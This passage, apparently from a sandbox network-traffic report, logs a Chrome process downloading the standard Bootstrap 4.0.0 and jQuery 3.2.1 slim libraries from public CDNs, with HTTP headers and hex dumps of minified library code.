Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f Data Ascii: ;return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 Data Ascii: )}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e Data Ascii: LEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b Data Ascii: ull),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 Data Ascii: .test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirect
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 Data Ascii: rget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+"
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c Data Ascii: {t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49714	104.18.10.207	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:13 UTC	382	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:14 UTC	947	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 19:11:13 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 01/15/2024 23:55:45 CDN-EdgeStorageId: 845 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 1b67fa50f8ffc843a15d702643eb706f CDN-Cache: HIT CF-Cache-Status: HIT Age: 16169893 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8c4329405ea65e6a-EWR alt-svc: h3=":443"; ma=86400
2024-09-16 19:11:14 UTC	422	IN	Data Raw: 37 63 30 30 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7c00/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 Data Ascii: ery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a Data Ascii: igger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f Data Ascii: ;return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 Data Ascii: )}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e Data Ascii: LEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b Data Ascii: ull),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 Data Ascii: .test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirect
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 Data Ascii: rget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+"
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c Data Ascii: {t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49715	151.101.130.137	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:13 UTC	363	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:14 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2361384 Date: Mon, 16 Sep 2024 19:11:13 GMT X-Served-By: cache-lga21963-LGA, cache-nyc-kteb1890042-NYC X-Cache: HIT, HIT X-Cache-Hits: 46, 0 X-Timer: S1726513874.955071,VS0,VE1 Vary: Accept-Encoding
